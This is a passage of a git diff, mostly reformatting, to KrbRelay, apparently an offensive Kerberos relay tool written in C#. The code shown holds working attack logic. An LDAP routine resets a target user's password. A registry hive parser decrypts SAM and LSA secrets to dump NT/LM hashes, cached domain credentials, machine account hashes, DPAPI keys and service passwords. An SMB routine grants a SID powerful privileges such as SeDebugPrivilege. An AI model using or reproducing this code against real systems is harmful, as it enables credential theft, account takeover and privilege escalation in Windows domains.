+ );
Console.WriteLine();
}
return;
@@ -103,12 +108,19 @@ internal MsDsManagedPassword(byte[] blob)
}
var queryPasswordIntervalOffset = reader.ReadInt16();
- var queryPasswordIntervalTicks = BitConverter.ToInt64(blob, queryPasswordIntervalOffset);
+ var queryPasswordIntervalTicks = BitConverter.ToInt64(
+ blob,
+ queryPasswordIntervalOffset
+ );
NextQueryTime = DateTime.Now + TimeSpan.FromTicks(queryPasswordIntervalTicks);
var unchangedPasswordIntervalOffset = reader.ReadInt16();
- var unchangedPasswordIntervalTicks = BitConverter.ToInt64(blob, unchangedPasswordIntervalOffset);
- PasswordGoodUntil = DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks);
+ var unchangedPasswordIntervalTicks = BitConverter.ToInt64(
+ blob,
+ unchangedPasswordIntervalOffset
+ );
+ PasswordGoodUntil =
+ DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks);
}
}
}
@@ -131,4 +143,4 @@ private string GetUnicodeString(byte[] blob, int index)
return null;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/setPassword.cs b/KrbRelay/Clients/Attacks/Ldap/setPassword.cs
index 9bf8c38..58b2e0c 100644
--- a/KrbRelay/Clients/Attacks/Ldap/setPassword.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/setPassword.cs
@@ -1,16 +1,19 @@
using System;
using System.Text;
-using static KrbRelay.Natives;
namespace KrbRelay.Clients.Attacks.Ldap
{
- internal class setPassword
+ internal class SetPassword
{
public static LdapStatus attack(IntPtr ld, string user, string password)
{
//https://docs.microsoft.com/en-us/troubleshoot/windows/win32/change-windows-active-directory-user-password
- string dn = Generic.getPropertyValue(ld, user, "distinguishedName");
- return Generic.setAttribute(ld, "unicodePwd", Encoding.Unicode.GetBytes('"'+password+'"'), dn);
+ return Generic.SetAttribute(
+ ld,
+ Generic.GetDistinguishedNameFromAccountName(ld, user),
+ "unicodePwd",
+ Encoding.Unicode.GetBytes('"' + password + '"')
+ );
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs
index a5cf80a..5c3b8c7 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs
@@ -15,20 +15,32 @@ public static byte[] Md4Hash2(this byte[] input)
List bytes = input.ToList();
uint bitCount = (uint)(bytes.Count) * 8;
bytes.Add(128);
- while (bytes.Count % 64 != 56) bytes.Add(0);
+ while (bytes.Count % 64 != 56)
+ bytes.Add(0);
var uints = new List();
for (int i = 0; i + 3 < bytes.Count; i += 4)
- uints.Add(bytes[i] | (uint)bytes[i + 1] << 8 | (uint)bytes[i + 2] << 16 | (uint)bytes[i + 3] << 24);
+ uints.Add(
+ bytes[i]
+ | (uint)bytes[i + 1] << 8
+ | (uint)bytes[i + 2] << 16
+ | (uint)bytes[i + 3] << 24
+ );
uints.Add(bitCount);
uints.Add(0);
// run rounds
- uint a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476;
+ uint a = 0x67452301,
+ b = 0xefcdab89,
+ c = 0x98badcfe,
+ d = 0x10325476;
Func rol = (x, y) => x << (int)y | x >> 32 - (int)y;
for (int q = 0; q + 15 < uints.Count; q += 16)
{
var chunk = uints.GetRange(q, 16);
- uint aa = a, bb = b, cc = c, dd = d;
+ uint aa = a,
+ bb = b,
+ cc = c,
+ dd = d;
Action, uint[]> round = (f, y) =>
{
foreach (uint i in new[] { y[0], y[1], y[2], y[3] })
@@ -39,10 +51,22 @@ public static byte[] Md4Hash2(this byte[] input)
b = rol(b + f(c, d, a) + chunk[(int)(i + y[7])] + y[12], y[11]);
}
};
- round((x, y, z) => (x & y) | (~x & z), new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 });
- round((x, y, z) => (x & y) | (x & z) | (y & z), new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 });
- round((x, y, z) => x ^ y ^ z, new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 });
- a += aa; b += bb; c += cc; d += dd;
+ round(
+ (x, y, z) => (x & y) | (~x & z),
+ new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 }
+ );
+ round(
+ (x, y, z) => (x & y) | (x & z) | (y & z),
+ new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 }
+ );
+ round(
+ (x, y, z) => x ^ y ^ z,
+ new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 }
+ );
+ a += aa;
+ b += bb;
+ c += cc;
+ d += dd;
}
// return hex encoded string
byte[] outBytes = new[] { a, b, c, d }.SelectMany(BitConverter.GetBytes).ToArray();
@@ -84,7 +108,13 @@ public static byte[] DecryptAES_CBC(byte[] value, byte[] key, byte[] iv)
}
byte[] concat = new byte[value.Length + manualPadding.Count];
System.Buffer.BlockCopy(value, 0, concat, 0, value.Length);
- System.Buffer.BlockCopy(manualPadding.ToArray(), 0, concat, value.Length, manualPadding.Count);
+ System.Buffer.BlockCopy(
+ manualPadding.ToArray(),
+ 0,
+ concat,
+ value.Length,
+ manualPadding.Count
+ );
value = concat;
}
@@ -114,8 +144,13 @@ public static byte[] ComputeSha256(byte[] key, byte[] value)
//https://stackoverflow.com/questions/7217627/is-there-anything-wrong-with-this-rc4-encryption-code-in-c-sharp
public static byte[] RC4Encrypt(byte[] pwd, byte[] data)
{
- int a, i, j, k, tmp;
- int[] key, box;
+ int a,
+ i,
+ j,
+ k,
+ tmp;
+ int[] key,
+ box;
byte[] cipher;
key = new int[256];
@@ -189,12 +224,24 @@ private static List TransformKey(List inputData)
{
List data = new List();
data.Add(Convert.ToByte(((inputData[0] >> 1) & 0x7f) << 1));
- data.Add(Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1));
- data.Add(Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1));
- data.Add(Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1));
- data.Add(Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1));
- data.Add(Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1));
- data.Add(Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1));
+ data.Add(
+ Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1)
+ );
+ data.Add(
+ Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1)
+ );
+ data.Add(
+ Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1)
+ );
+ data.Add(
+ Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1)
+ );
+ data.Add(
+ Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1)
+ );
+ data.Add(
+ Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1)
+ );
data.Add(Convert.ToByte((inputData[6] & 0x7f) << 1));
return data;
}
@@ -205,9 +252,16 @@ private static byte[] DeObfuscateHashPart(byte[] obfuscatedHash, List key)
DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();
cryptoProvider.Padding = PaddingMode.None;
cryptoProvider.Mode = CipherMode.ECB;
- ICryptoTransform transform = cryptoProvider.CreateDecryptor(key.ToArray(), new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 });
+ ICryptoTransform transform = cryptoProvider.CreateDecryptor(
+ key.ToArray(),
+ new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 }
+ );
MemoryStream memoryStream = new MemoryStream(obfuscatedHash);
- CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
+ CryptoStream cryptoStream = new CryptoStream(
+ memoryStream,
+ transform,
+ CryptoStreamMode.Read
+ );
byte[] plainTextBytes = new byte[obfuscatedHash.Length];
int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
return plainTextBytes;
@@ -231,4 +285,4 @@ public static string DecryptSingleHash(byte[] obfuscatedHash, string user)
return (BitConverter.ToString(plain1) + BitConverter.ToString(plain2));
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs
index afa8117..3a07328 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/LsaSecret.cs
@@ -34,4 +34,4 @@ public LsaSecretBlob(byte[] inputData)
public byte[] unk { get; set; }
public byte[] secret { get; set; }
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs
index 43e1beb..feace9d 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs
@@ -20,4 +20,4 @@ public NL_Record(byte[] inputData)
public byte[] IV { get; set; }
public byte[] encryptedData { get; set; }
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs
index 3a64a4d..f482f53 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/NodeKey.cs
@@ -151,4 +151,4 @@ public byte[] getChildValues(string valueName)
return targetData.Data;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs
index 160e941..2b34fd0 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Parse.cs
@@ -8,7 +8,12 @@ namespace KrbRelay.HiveParser
// Modified version of https://github.com/G0ldenGunSec/SharpSecDump
public class Parse
{
- public static void ParseSecrets(byte[] samBytes, byte[] securityBytes, byte[] systemBytes, byte[] bootKey)
+ public static void ParseSecrets(
+ byte[] samBytes,
+ byte[] securityBytes,
+ byte[] systemBytes,
+ byte[] bootKey
+ )
{
StringBuilder sb = new StringBuilder();
@@ -34,4 +39,4 @@ public static void ParseSecrets(byte[] samBytes, byte[] securityBytes, byte[] sy
Console.WriteLine(sb.ToString());
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs
index 02abde4..5253e27 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Registry.cs
@@ -10,7 +10,8 @@ public class Registry
{
private static byte[] StringToByteArray(string hex)
{
- return Enumerable.Range(0, hex.Length)
+ return Enumerable
+ .Range(0, hex.Length)
.Where(x => x % 2 == 0)
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
.ToArray();
@@ -31,8 +32,25 @@ public static byte[] GetBootKey(RegistryHive systemHive)
}
byte[] skey = StringToByteArray(scrambledKey.ToString());
- byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
- 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
+ byte[] descramble = new byte[]
+ {
+ 0x8,
+ 0x5,
+ 0x4,
+ 0x2,
+ 0xb,
+ 0x9,
+ 0xd,
+ 0x3,
+ 0x0,
+ 0x6,
+ 0x1,
+ 0xc,
+ 0xe,
+ 0xa,
+ 0xf,
+ 0x7
+ };
byte[] bootkey = new byte[16];
for (int i = 0; i < bootkey.Length; i++)
@@ -52,14 +70,17 @@ private static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal)
byte[] f70 = fVal.Skip(112).Take(16).ToArray();
List data = new List();
data.AddRange(f70);
- data.AddRange(Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"));
+ data.AddRange(
+ Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0")
+ );
data.AddRange(bootKey);
- data.AddRange(Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0"));
+ data.AddRange(
+ Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0")
+ );
byte[] md5 = MD5.Create().ComputeHash(data.ToArray());
byte[] f80 = fVal.Skip(128).Take(32).ToArray();
hashedBootKey = Crypto.RC4Encrypt(md5, f80);
}
-
//new version of storage -- Win 2016 / Win 10 (potentially Win 2012) and above
else if (domainData[0].Equals(0x02))
{
@@ -79,10 +100,7 @@ private static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal)
public static List ParseSam(byte[] bootKey, RegistryHive sam)
{
- List retVal = new List
- {
- "[*] SAM hashes"
- };
+ List retVal = new List { "[*] SAM hashes" };
try
{
NodeKey nk = GetNodeKey(sam, @"SAM\Domains\Account");
@@ -93,11 +111,15 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam)
byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0");
foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000")))
{
- byte[] rid = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber));
+ byte[] rid = BitConverter.GetBytes(
+ System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber)
+ );
byte[] v = user.getChildValues("V");
int offset = BitConverter.ToInt32(v, 12) + 204;
int length = BitConverter.ToInt32(v, 16);
- string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray());
+ string username = Encoding.Unicode.GetString(
+ v.Skip(offset).Take(length).ToArray()
+ );
//there are 204 bytes of headers / flags prior to data in the encrypted key data structure
int lmHashOffset = BitConverter.ToInt32(v, 156) + 204;
@@ -110,9 +132,17 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam)
//old style hashes
if (v[ntHashOffset + 2].Equals(0x01))
{
- IEnumerable lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword);
+ IEnumerable lmKeyParts = hashedBootKey
+ .Take(16)
+ .ToArray()
+ .Concat(rid)
+ .Concat(almpassword);
byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray());
- IEnumerable ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword);
+ IEnumerable ntKeyParts = hashedBootKey
+ .Take(16)
+ .ToArray()
+ .Concat(rid)
+ .Concat(antpassword);
byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray());
byte[] encryptedLmHash = null;
byte[] encryptedNtHash = null;
@@ -120,14 +150,24 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam)
if (ntHashLength == 20)
{
encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray();
- byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash);
- ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", "");
+ byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(
+ ntHashDecryptionKey,
+ encryptedNtHash
+ );
+ ntHash = Crypto
+ .DecryptSingleHash(obfuscatedNtHashTESTING, user.Name)
+ .Replace("-", "");
}
if (lmHashLength == 20)
{
encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray();
- byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash);
- lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", "");
+ byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(
+ lmHashDecryptionKey,
+ encryptedLmHash
+ );
+ lmHash = Crypto
+ .DecryptSingleHash(obfuscatedLmHashTESTING, user.Name)
+ .Replace("-", "");
}
}
//new-style hashes
@@ -139,8 +179,17 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam)
if (lmData.Length > 0)
{
byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray();
- byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray();
- lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
+ byte[] desEncryptedHash = Crypto
+ .DecryptAES_CBC(
+ lmData,
+ hashedBootKey.Take(16).ToArray(),
+ lmHashSalt
+ )
+ .Take(16)
+ .ToArray();
+ lmHash = Crypto
+ .DecryptSingleHash(desEncryptedHash, user.Name)
+ .Replace("-", "");
}
byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray();
@@ -149,11 +198,22 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam)
if (ntData.Length > 0)
{
byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray();
- byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray();
- ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
+ byte[] desEncryptedHash = Crypto
+ .DecryptAES_CBC(
+ ntData,
+ hashedBootKey.Take(16).ToArray(),
+ ntHashSalt
+ )
+ .Take(16)
+ .ToArray();
+ ntHash = Crypto
+ .DecryptSingleHash(desEncryptedHash, user.Name)
+ .Replace("-", "");
}
}
- string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString();
+ string ridStr = System.Int32
+ .Parse(user.Name, System.Globalization.NumberStyles.HexNumber)
+ .ToString();
string hashes = (lmHash + ":" + ntHash);
retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower()));
}
@@ -165,7 +225,11 @@ public static List ParseSam(byte[] bootKey, RegistryHive sam)
return retVal;
}
- public static List ParseLsa(RegistryHive security, byte[] bootKey, RegistryHive system)
+ public static List ParseLsa(
+ RegistryHive security,
+ byte[] bootKey,
+ RegistryHive system
+ )
{
List retVal = new List();
try
@@ -175,7 +239,11 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis
byte[] dataVal = record.data.Take(32).ToArray();
byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal);
byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
- byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray();
+ byte[] decryptedLsaKey = Crypto
+ .DecryptAES_ECB(dataVal2, tempKey)
+ .Skip(68)
+ .Take(32)
+ .ToArray();
//get NLKM Secret
byte[] nlkmKey = null;
@@ -186,15 +254,45 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis
nlkmKey = DumpSecret(nlkm, decryptedLsaKey);
foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues)
{
- if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray()))
+ if (
+ string.Compare(
+ cachedLogin.Name,
+ "NL$Control",
+ StringComparison.OrdinalIgnoreCase
+ ) != 0
+ && !IsZeroes(cachedLogin.Data.Take(16).ToArray())
+ )
{
NL_Record cachedUser = new NL_Record(cachedLogin.Data);
- byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV);
+ byte[] plaintext = Crypto.DecryptAES_CBC(
+ cachedUser.encryptedData,
+ nlkmKey.Skip(16).Take(16).ToArray(),
+ cachedUser.IV
+ );
byte[] hashedPW = plaintext.Take(16).ToArray();
- string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray());
- string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray());
+ string username = Encoding.Unicode.GetString(
+ plaintext.Skip(72).Take(cachedUser.userLength).ToArray()
+ );
+ string domain = Encoding.Unicode.GetString(
+ plaintext
+ .Skip(
+ 72
+ + Pad(cachedUser.userLength)
+ + Pad(cachedUser.domainNameLength)
+ )
+ .Take(Pad(cachedUser.dnsDomainLength))
+ .ToArray()
+ );
domain = domain.Replace("\0", "");
- retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower()));
+ retVal.Add(
+ string.Format(
+ "{0}/{1}:$DCC2$10240#{2}#{3}",
+ domain,
+ username,
+ username,
+ BitConverter.ToString(hashedPW).Replace("-", "").ToLower()
+ )
+ );
}
}
}
@@ -204,11 +302,25 @@ public static List ParseLsa(RegistryHive security, byte[] bootKey, Regis
retVal.Add("[*] LSA Secrets");
foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes)
{
- if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0)
+ if (
+ string.Compare(
+ secret.Name,
+ "NL$Control",
+ StringComparison.OrdinalIgnoreCase
+ ) != 0
+ )
{
- if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0)
+ if (
+ string.Compare(
+ secret.Name,
+ "NL$KM",
+ StringComparison.OrdinalIgnoreCase
+ ) != 0
+ )
{
- LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey));
+ LsaSecretBlob secretBlob = new LsaSecretBlob(
+ DumpSecret(secret, decryptedLsaKey)
+ );
if (secretBlob.length > 0)
{
retVal.Add(PrintSecret(secret.Name, secretBlob, system));
@@ -261,39 +373,83 @@ private static bool IsZeroes(byte[] inputArray)
return true;
}
- private static string PrintSecret(string keyName, LsaSecretBlob secretBlob, RegistryHive system)
+ private static string PrintSecret(
+ string keyName,
+ LsaSecretBlob secretBlob,
+ RegistryHive system
+ )
{
string secretOutput = string.Format("[*] {0}\r\n", keyName);
if (keyName.ToUpper().StartsWith("_SC_"))
{
- ValueKey startName = GetValueKey(system, string.Format(@"ControlSet001\Services\{0}\ObjectName", keyName.Substring(4)));
+ ValueKey startName = GetValueKey(
+ system,
+ string.Format(@"ControlSet001\Services\{0}\ObjectName", keyName.Substring(4))
+ );
string pw = Encoding.Unicode.GetString(secretBlob.secret.ToArray());
- secretOutput += string.Format("{0}:{1}", Encoding.UTF8.GetString(startName.Data), pw);
+ secretOutput += string.Format(
+ "{0}:{1}",
+ Encoding.UTF8.GetString(startName.Data),
+ pw
+ );
}
else if (keyName.ToUpper().StartsWith("$MACHINE.ACC"))
{
- string computerAcctHash = BitConverter.ToString(Crypto.Md4Hash2(secretBlob.secret)).Replace("-", "").ToLower();
- ValueKey domainName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Domain");
- ValueKey computerName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Hostname");
- secretOutput += string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", Encoding.UTF8.GetString(domainName.Data), Encoding.UTF8.GetString(computerName.Data), computerAcctHash);
+ string computerAcctHash = BitConverter
+ .ToString(Crypto.Md4Hash2(secretBlob.secret))
+ .Replace("-", "")
+ .ToLower();
+ ValueKey domainName = GetValueKey(
+ system,
+ @"ControlSet001\Services\Tcpip\Parameters\Domain"
+ );
+ ValueKey computerName = GetValueKey(
+ system,
+ @"ControlSet001\Services\Tcpip\Parameters\Hostname"
+ );
+ secretOutput += string.Format(
+ "{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}",
+ Encoding.UTF8.GetString(domainName.Data),
+ Encoding.UTF8.GetString(computerName.Data),
+ computerAcctHash
+ );
}
else if (keyName.ToUpper().StartsWith("DPAPI"))
{
- secretOutput += ("dpapi_machinekey:" + BitConverter.ToString(secretBlob.secret.Skip(4).Take(20).ToArray()).Replace("-", "").ToLower() + "\r\n");
- secretOutput += ("dpapi_userkey:" + BitConverter.ToString(secretBlob.secret.Skip(24).Take(20).ToArray()).Replace("-", "").ToLower());
+ secretOutput += (
+ "dpapi_machinekey:"
+ + BitConverter
+ .ToString(secretBlob.secret.Skip(4).Take(20).ToArray())
+ .Replace("-", "")
+ .ToLower()
+ + "\r\n"
+ );
+ secretOutput += (
+ "dpapi_userkey:"
+ + BitConverter
+ .ToString(secretBlob.secret.Skip(24).Take(20).ToArray())
+ .Replace("-", "")
+ .ToLower()
+ );
}
else if (keyName.ToUpper().StartsWith("NL$KM"))
{
- secretOutput += ("NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower());
+ secretOutput += (
+ "NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower()
+ );
}
else if (keyName.ToUpper().StartsWith("ASPNET_WP_PASSWORD"))
{
- secretOutput += ("ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret));
+ secretOutput += (
+ "ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret)
+ );
}
else
{
- secretOutput += ("[!] Secret type not supported yet - outputing raw secret as unicode:\r\n");
+ secretOutput += (
+ "[!] Secret type not supported yet - outputing raw secret as unicode:\r\n"
+ );
secretOutput += (System.Text.Encoding.Unicode.GetString(secretBlob.secret));
}
return secretOutput;
@@ -349,4 +505,4 @@ public static ValueKey GetValueKey(RegistryHive hive, string path)
return node.ChildValues.SingleOrDefault(v => v.Name == keyname);
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs
index 06655f2..75ec2be 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/RegistryHive.cs
@@ -38,4 +38,4 @@ public RegistryHive(BinaryReader reader)
public NodeKey RootKey { get; set; }
public bool WasExported { get; set; }
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs
index 1ed7daf..f66a8bd 100644
--- a/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs
+++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/ValueKey.cs
@@ -22,7 +22,8 @@ public ValueKey(BinaryReader hive)
hive.BaseStream.Position += 4;
buf = hive.ReadBytes(this.NameLength);
- this.Name = (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf);
+ this.Name =
+ (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf);
if (this.DataLength < 5)
this.Data = databuf;
@@ -41,4 +42,4 @@ public ValueKey(BinaryReader hive)
public byte[] Data { get; set; }
public string String { get; set; }
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Smb/LSA.cs b/KrbRelay/Clients/Attacks/Smb/LSA.cs
index c64f93e..e11470a 100644
--- a/KrbRelay/Clients/Attacks/Smb/LSA.cs
+++ b/KrbRelay/Clients/Attacks/Smb/LSA.cs
@@ -10,7 +10,14 @@ internal class LSA
{
public static void AddAccountRights(SMB2Client smbClient, string sid)
{
- using (RPCCallHelper rpc = new RPCCallHelper(smbClient, LsaRemoteService.ServicePipeName, LsaRemoteService.ServiceInterfaceGuid, LsaRemoteService.ServiceVersion))
+ using (
+ RPCCallHelper rpc = new RPCCallHelper(
+ smbClient,
+ LsaRemoteService.ServicePipeName,
+ LsaRemoteService.ServiceInterfaceGuid,
+ LsaRemoteService.ServiceVersion
+ )
+ )
{
var status = rpc.BindPipe();
if (status != NTStatus.STATUS_SUCCESS)
@@ -19,42 +26,52 @@ public static void AddAccountRights(SMB2Client smbClient, string sid)
return;
}
- LsaHandle lsaHandle = LsaServiceHelper.LsaOpenPolicy(rpc, AccessMask.MAXIMUM_ALLOWED, out status);
+ LsaHandle lsaHandle = LsaServiceHelper.LsaOpenPolicy(
+ rpc,
+ AccessMask.MAXIMUM_ALLOWED,
+ out status
+ );
Console.WriteLine("LsaOpenPolicy: {0}", status);
- string[] adminGroup = new string[] {
- "SeSecurityPrivilege",
- "SeBackupPrivilege",
- "SeRestorePrivilege",
- "SeSystemtimePrivilege",
- "SeShutdownPrivilege",
- "SeRemoteShutdownPrivilege",
- "SeTakeOwnershipPrivilege",
- "SeDebugPrivilege",
- "SeSystemEnvironmentPrivilege",
- "SeSystemProfilePrivilege",
- "SeProfileSingleProcessPrivilege",
- "SeIncreaseBasePriorityPrivilege",
- "SeLoadDriverPrivilege",
- "SeCreatePagefilePrivilege",
- "SeIncreaseQuotaPrivilege",
- "SeUndockPrivilege",
- "SeManageVolumePrivilege",
- "SeImpersonatePrivilege",
